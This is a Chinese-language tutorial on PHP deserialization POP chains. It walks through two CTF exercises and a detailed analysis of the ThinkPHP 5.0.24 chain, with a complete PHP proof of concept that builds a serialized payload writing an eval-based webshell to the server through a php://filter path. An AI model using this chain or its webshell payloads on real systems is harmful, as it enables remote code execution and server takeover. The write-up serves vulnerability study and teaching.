PHP反序列化鏈分析
前言
基本的魔術方法和反序列化漏洞原理這裡就不展開了。
給出一些魔術方法的觸發條件:
__construct()當一個物件建立(new)時被呼叫,但在unserialize()時是不會自動呼叫的 __destruct()當一個物件銷燬時被呼叫 __toString()當一個物件被當作一個字串使用 __sleep() 在物件在被序列化之前執行 __wakeup將在unserialize()時會自動呼叫 __set方法:當程式試圖寫入一個不存在或不可見的成員變數時,PHP就會執行set方法。 __get方法:當程式呼叫一個未定義或不可見的成員變數時,通過get方法來讀取變數的值。 __invoke():當嘗試以呼叫函式的方式呼叫一個物件時,invoke() 方法會被自動呼叫 __call()方法:當呼叫一個物件中不存在的方法時,call 方法將會被自動呼叫。
pop鏈
pop又稱之為面向屬性程式設計(Property-Oriented Programing)
,常用於上層語言構造特定呼叫鏈的方法,與二進位制利用中的面向返回程式設計(Return-Oriented Programing)
的原理相似,都是從現有執行環境中尋找一系列的程式碼或者指令呼叫,然後根據需求構成一組連續的呼叫鏈,最終達到攻擊者邪惡的目的;只不過ROP是通過棧溢位實現控制指令的執行流程,而我們的反序列化是通過控制物件的屬性從而實現控制程式的執行流程;因為反序列化中我們能控制的也就只有物件的屬性了
總的來說,POP鏈就是利用魔法方法在裡面進行多次跳轉然後獲取敏感資料的一種payload
構造思路
對於POP鏈的構造,我們首先要找到它的頭和尾。pop鏈的頭部一般是使用者能傳入引數的地方,而尾部是可以執行我們操作的地方,比如說讀寫檔案,執行命令等等;找到頭尾之後,從尾部(我們執行操作的地方)開始,看它在哪個方法中,怎麼樣可以呼叫它,一層一層往上倒推,直到推到頭部為止,也就是我們傳參的地方,一條pop鏈子就出來了
下面我們看兩個例子
POP鏈例項1
<?php highlight_file(__FILE__); class Hello { public $source; public $str; public function __construct($name) { $this->str=$name; } public function __destruct() { $this->source=$this->str; echo $this->source; } } class Show { public $source; public $str; public function __toString() { $content = $this->str['str']->source; return $content; } } class Uwant { public $params; public function __construct(){ $this->params='phpinfo();'; } public function __get($key){ return $this->getshell($this->params); } public function getshell($value) { eval($this->params); } } $a = $_GET['a']; unserialize($a); ?>
__get方法:當程式呼叫一個未定義或不可見的成員變數時,通過get方法來讀取變數的值。
__toString()當一個物件被當作一個字串使用 (如,echo 一個物件)
__destruct()當一個物件銷燬時被呼叫
思路分析:先找POP鏈的頭和尾,頭部明顯是GET傳參,尾部是Uwant
類中的getshell
,然後往上倒推,Uwant
類中的__get()
中呼叫了getshell
,Show
類中的__toString
可以呼叫__get()
,然後Hello
類中的__destruct()
可以構造來呼叫__toString
,所以我們GET傳參讓其先進入__destruct()
,這樣頭和尾就連上了,所以說完整的鏈子就是:
頭 -> Hello::__destruct() -> Show::__toString() -> Uwant::__get() -> Uwant::getshell -> 尾
具體構造:
在Hello
類中我們要把$this->str
賦值成物件,下面echo
出來才能呼叫Show
類中的__toString()
,然後再把Show
類中的$this->str['str']
賦值成物件,來呼叫Uwant
類中的__get()
<?php
class Hello
{
public $source;
public $str;
}
class Show
{
public $source;
public $str;
}
class Uwant
{
public $params='phpinfo();';
}
$a = new Hello();
$b = new Show();
$c = new Uwant();
$a->str = $b;
$b->str['str']= $c;
echo serialize($a);
?>
然後將結果進行url編碼,GET方式傳入
POP鏈例項2——2021強網杯-賭徒
<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);
class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';
public function __construct(){
echo "I think you need /etc/hint . Before this you need to see the source code";
}
public function _sayhello(){
echo $this->name;
return 'ok';
}
public function __wakeup(){
echo "hi";
$this->_sayhello();
}
public function __get($cc){
echo "give you flag : ".$this->flag;
return ;
}
}
class Info
{
private $phonenumber=123123;
public $promise='I do';
public function __construct(){
$this->promise='I will not !!!!';
return $this->promise;
}
public function __toString(){
return $this->file['filename']->ffiillee['ffiilleennaammee'];
}
}
class Room
{
public $filename='./flag';
public $sth_to_set;
public $a='';
public function __get($name){
$function = $this->a;
return $function();
}
public function Get_hint($file){
$hint=base64_encode(file_get_contents($file));
echo $hint;
return ;
}
public function __invoke(){
$content = $this->Get_hint($this->filename);
echo $content;
}
}
if(isset($_GET['hello'])){
unserialize($_GET['hello']);
}else{
$hi = new Start();
}
?>
__wakeup將在unserialize()時會自動呼叫
__get方法:當程式呼叫一個未定義或不可見的成員變數時,通過get方法來讀取變數的值。
__toString()當一個物件被當作一個字串使用
__invoke():當嘗試以呼叫函式的方式呼叫一個物件時,invoke() 方法會被自動呼叫
思路分析:首先依然是找到頭和尾,頭部依然是一個GET傳參,而尾部可以看到Room
類中有個Get_hint()
方法,裡面有一個file_get_contents
,可以實現任意檔案讀取,我們就可以利用這個讀取flag檔案了,然後就是往前倒推,Room
類中__invoke()
方法呼叫了Get_hint()
,然後Room
類的__get()
裡面有個return $function()
可以呼叫__invoke()
,再往前看,Info
類中的__toString()
中有Room
類中不存在的屬性,所以可以呼叫__get()
,然後Start
類中有個_sayhello()
可以呼叫__toString()
,然後在Start
類中__wakeup()
方法中直接呼叫了_sayhello()
,而我們知道的是,輸入字串之後就會先進入__wakeup()
,這樣頭和尾就連上了
頭 -> Start::__wakeup() -> Start::__sayhello() -> Info::__toString() -> Room::__get() -> Room::__invoke() -> Room::__Get_hint() -> 尾
具體構造:
Start
類的__wakeup()
方法在反序列化時自動呼叫,然後呼叫__sayhello()
方法,這裡我們要把$this->name
賦值成物件,echo
出來才能呼叫Info
類中的__toString()
,然後再把Info
類中的$this->file['filename']
賦值成物件,來呼叫Room
類中的__get()
,再把Room
類中的$this->a
賦值成物件,來呼叫Room
類中的__invoke()
,最終呼叫Get_hint
方法拿到flag
<?php
class Start
{
public $name;
}
class Info
{
private $phonenumber;
public $promise;
}
class Room
{
public $filename='./flag';
public $sth_to_set;
public $a='';
}
$a = new Start;
$b = new Info;
$c = new Room;
$d = new Room;
$a->name = $b;
$b->file['filename'] = $c;
$c->a = $d;
echo serialize($a);
echo '</br>';
echo urlencode(serialize($a));
?>
把前面的hi
去掉再進行base64解碼才能得到flag
TP5.0.24反序列化利用鏈
環境搭建
下載thinkPHP
http://www.thinkphp.cn/donate/download/id/1279.html
將原始碼解壓後放到PHPstudy根目錄,修改application/index/controller/Index.php檔案,此為框架的反序列化漏洞,只有二次開發且實現反序列化才可利用。所以我們需要手工加入反序列化利用點。
新增一行程式碼即可:
unserialize(base64_decode($_GET['a']));
POP鏈構造分析
首先,進行全域性搜尋__destruct
檢視thinkphp/library/think/process/pipes/Windows.php
的Windows類中呼叫了__destruct魔術方法
跟進removeFiles
方法
file_exists — 檢查檔案或目錄是否存在
file_exists ( string
$filename
) : bool
發現file_exists函式,file_exists接收一個字串,所以如果傳入一個物件的話,會把物件當作字串處理,這時候就可以呼叫__toString魔術方法。
全域性搜尋__toString:
檢視此方法在Model(thinkphp/library/think/Model.php):
不過Model類為抽象類,不能直接呼叫
因此需要找他的子類。我們可以找到Pivot(thinkphp/library/think/model/Pivot.php)進行呼叫
回到__toString
方法,它呼叫了toJson()
方法,跟進toJson
繼續跟進toArray
方法
public function toArray()
{
$item = [];
$visible = [];
$hidden = [];
$data = array_merge($this->data, $this->relation);
// 過濾屬性
if (!empty($this->visible)) {
$array = $this->parseAttr($this->visible, $visible);
$data = array_intersect_key($data, array_flip($array));
} elseif (!empty($this->hidden)) {
$array = $this->parseAttr($this->hidden, $hidden, false);
$data = array_diff_key($data, array_flip($array));
}
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 關聯模型物件
$item[$key] = $this->subToArray($val, $visible, $hidden, $key);
} elseif (is_array($val) && reset($val) instanceof Model) {
// 關聯模型資料集
$arr = [];
foreach ($val as $k => $value) {
$arr[$k] = $this->subToArray($value, $visible, $hidden, $key);
}
$item[$key] = $arr;
} else {
// 模型屬性
$item[$key] = $this->getAttr($key);
}
}
// 追加屬性(必須定義獲取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加關聯物件屬性
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加關聯物件屬性
$relation = $this->getAttr($key);
$item[$key] = $relation->append([$attr])->toArray();
} else {
$relation = Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
if (method_exists($modelRelation, 'getBindAttr')) {
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) {
throw new Exception('bind attr has exists:' . );
} else {
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}
$item[$name] = $value;
} else {
$item[$name] = $this->getAttr($name);
}
}
}
}
return !empty($item) ? $item : [];
}
只要物件可控,且呼叫了不存在的方法,就會呼叫__call
方法。可以看到,存在如下三個可能可以控制的物件:
經過分析最後一處$value->getAttr
是我們利用__call魔術方法 的點。
我們來看一下程式碼怎麼才能執行到$value->getAttr
:
1.!empty($this->append) # $this->append不為空
2.!is_array($name) #$name不能為陣列
3.!strpos($name, '.') #$name不能有.
4.method_exists($this, $relation) #$relation必須為Model類裡的方法
5.method_exists($modelRelation, 'getBindAttr') #$modelRelation必須存在getBindAttr方法
6.$bindAttr #$bindAttr不為空
7.!isset($this->data[$key]) #$key不能在$this->data這個數組裡有相同的值。
需要滿足以上七個條件。
我們來逐個分析一下:
在toArray
方法中,$this->append
是可控的,因此$key
和$name
也是可控的,我們只需要使$this->append=['test']
隨便幾個字元就可以滿足前三個條件,到了第四個條件,發現$relation
跟$name
有關係.如下:
$relation = Loader::parseName($name, 1, false);
跟進parseName
發現parseName
只是將字串命名風格進行了轉換。也就是說$name==$relation。
所以我們使$this->append=['getError']
,getError
為Model類裡的方法,且結構簡單返回值可控。這樣就滿足了第四個條件
下面進入了關鍵兩行程式碼:
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
前面我們使得$relation
為getError
方法,返回值可控,所以$modelRelation
也可控。
跟進getRelationData
方法:
我們看到$modelRelation
必須為Relation
類的物件,可以通過$this->error
控制
要滿足if語句的條件就可以讓value可控,所以$modelRelation
這個物件還要有isSelfRelation()
、getModel()
方法。
這兩種方法在Relation
類中都有,但因為Relation
為抽象類,需要尋找他的子類。全域性搜尋:
除了最後一個是抽象類外,都可以拿來用,但是我們還需要滿足第五個條件,需要$modelRelation
必須存在getBindAttr
方法,但是Relation
類沒有getBindAttr
方法,只有OneToOne
類裡有,且OneToOne
類正好繼承Relation
類,不過是抽象類,所以我們需要找它的子類。全域性搜尋:
發現存在兩個可用的,我們選擇第二個HasOne
類,即$this->error=new HasOne()
。這樣就滿足了第五個條件。
好了,呼叫方法的問題解決了,下面思考如何滿足if語句的條件:
①
$this->parent
可控,我們要使用Output
類中的__call
,所以$value
必須為output
物件,所以$this->parent
必須控制為output
物件,即$this->parent=new Output()
.
②
我們看一下isSelfRelation()
方法:
public function isSelfRelation()
{
return $this->selfRelation;
}
$this->selfRelation
可控,設為false即可。
③
get_class — 返回物件的類名
$this->parent
已經確定為Output
類了,所以我們要控制get_class($modelRelation->getModel())
為Output
類,看一下getModel()
的實現:
public function getModel()
{
return $this->query->getModel();
}
$this->query
可控,我們只需要找個getModel
方法返回值可控的就可以了,全域性搜尋getModel
方法:
可以看到Query
類中getModel方法返回值可控,使$this->query=new Query()
,$this->model=new Output()
即可。
經過以上,滿足了if語句的條件,if方法為True,$value=$this->parent=new Output()
.
下面來看第六個條件:
$bindAttr = $modelRelation->getBindAttr();
$this->bindAttr
可控,$this->bindAttr=["yokan","yokantest"],
隨便寫即可。這樣就滿足了第六個、第七個條件。
於是就到達了$item[$key] = $value ? $value->getAttr($attr) : null;
因為Output
類中沒有getAttr
方法,所以會去呼叫__call
方法。
跟進Output類中的__call方法:
public function __call($method, $args)
{
if (in_array($method, $this->styles)) {
array_unshift($args, $method);
return call_user_func_array([$this, 'block'], $args);
}
if ($this->handle && method_exists($this->handle, $method)) {
return call_user_func_array([$this->handle, $method], $args);
} else {
throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
}
}
__call
方法中的$method=getAttr
, $args=['yokantest']
我們要使用call_user_func_array([$this, 'block'], $args);
就要使in_array($method, $this->styles)
成立。$this->styles
可控,即$this->styles=['getAttr']
array_unshift — 在陣列開頭插入一個或多個單元
array_unshift ( array
&$array
[, mixed $...] ) : int
array_unshift($args, $method);
是將$method
新增到陣列$args
中不用管。
進入call_user_func_array([$this, 'block'], $args);
call_user_func_array — 呼叫回撥函式,並把一個數組引數作為回撥函式的引數
call_user_func_array( callable $callback, array $param_arr) : mixed
把第一個引數作為回撥函式(
callback
)呼叫,把引數陣列作(param_arr
)為回撥函式的的引數傳入。
呼叫了block
方法,跟進block
方法:
跟進writeln方法:
跟進write方法:
$this->handle
可控全域性查詢可利用的write
方法:
這裡選擇/thinkphp/library/think/session/driver/Memcache.php
裡的write
方法
因為Memcached
也存在一個$this->handle
我們可以控制,進而可以利用set
方法。
全域性查詢set方法:
這裡選擇thinkphp/library/think/cache/driver/File.php
下的set
方法,因為發現存在寫入檔案:
$result = file_put_contents($filename, $data);
接下來就是檢視$filename
, $data
這兩個引數是否可控:
先看$filename
:
跟進getCacheKey
方法:
這裡$this->options
可控,所以$filename
可控。
現在就只需要寫入的$data
可控了:
$data
的值來自$value
,但是$value
我們沒法控制
但是繼續往下看,進入setTagItem
方法之後發現,會將$name
換成$value
再一次執行了set
方法。
前面分析過,$filename
我們可以控制,所以$value
也可以控制,所以這次呼叫set
方法,傳入的三個值我們都可以控制:
最後再通過php偽協議可以繞過exit()的限制 ,就可以將危害程式碼寫在伺服器上了。
例如:
$this->options['path']=php://filter/write=string.rot13/resource=./<?cuc cucvasb();riny($_TRG[pzq]);?>
生成的檔名為:
md5('tag_'.md5($this->tag))
即:
md5('tag_c4ca4238a0b923820dcc509a6f75849b')
=>3b58a9545013e88c7186db11bb158c44
=> <?cuc cucvasb();riny($_TRG[pzq]);?> + 3b58a9545013e88c7186db11bb158c44
最終檔名:
<?cuc cucvasb();riny($_TRG[pzq]);?>3b58a9545013e88c7186db11bb158c44.php
對於windows環境我們可以使用以下payload.
$this->options['path']=php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php
生成的檔名如下:
原理可以看這篇文章:https://xz.aliyun.com/t/7457#toc-3
POP鏈(圖)
POC
<?php
namespace think\process\pipes {
class Windows {
private $files = [];
public function __construct($files)
{
$this->files = [$files]; //$file => /think/Model的子類new Pivot(); Model是抽象類
}
}
}
namespace think {
abstract class Model{
protected $append = [];
protected $error = null;
public $parent;
function __construct($output, $modelRelation)
{
$this->parent = $output; //$this->parent=> think\console\Output;
$this->append = array("xxx"=>"getError"); //呼叫getError 返回this->error
$this->error = $modelRelation; // $this->error 要為 relation類的子類,並且也是OnetoOne類的子類==>>HasOne
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
function __construct($output, $modelRelation)
{
parent::__construct($output, $modelRelation);
}
}
}
namespace think\model\relation{
class HasOne extends OneToOne {
}
}
namespace think\model\relation {
abstract class OneToOne
{
protected $selfRelation;
protected $bindAttr = [];
protected $query;
function __construct($query)
{
$this->selfRelation = 0;
$this->query = $query; //$query指向Query
$this->bindAttr = ['xxx'];// $value值,作為call函式引用的第二變數
}
}
}
namespace think\db {
class Query {
protected $model;
function __construct($model)
{
$this->model = $model; //$this->model=> think\console\Output;
}
}
}
namespace think\console{
class Output{
private $handle;
protected $styles;
function __construct($handle)
{
$this->styles = ['getAttr'];
$this->handle =$handle; //$handle->think\session\driver\Memcached
}
}
}
namespace think\session\driver {
class Memcached
{
protected $handler;
function __construct($handle)
{
$this->handler = $handle; //$handle->think\cache\driver\File
}
}
}
namespace think\cache\driver {
class File
{
protected $options=null;
protected $tag;
function __construct(){
$this->options=[
'expire' => 3600,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
'data_compress' => false,
];
$this->tag = 'xxx';
}
}
}
namespace {
$Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());
$Output = new think\console\Output($Memcached);
$model = new think\db\Query($Output);
$HasOne = new think\model\relation\HasOne($model);
$window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne));
echo serialize($window);
echo "<br/><br/><br/>";
echo base64_encode(serialize($window));
}
復現
漏洞環境:
生成POC:
觸發:
利用:
參考
https://jfanx1ng.github.io/2020/05/07/ThinkPHP5.0.24反序列化漏洞分析/
https://www.freebuf.com/articles/web/284091.html
https://xz.aliyun.com/t/8143#toc-10
https://blog.wh1sper.com/posts/thinkphp5程式碼審計/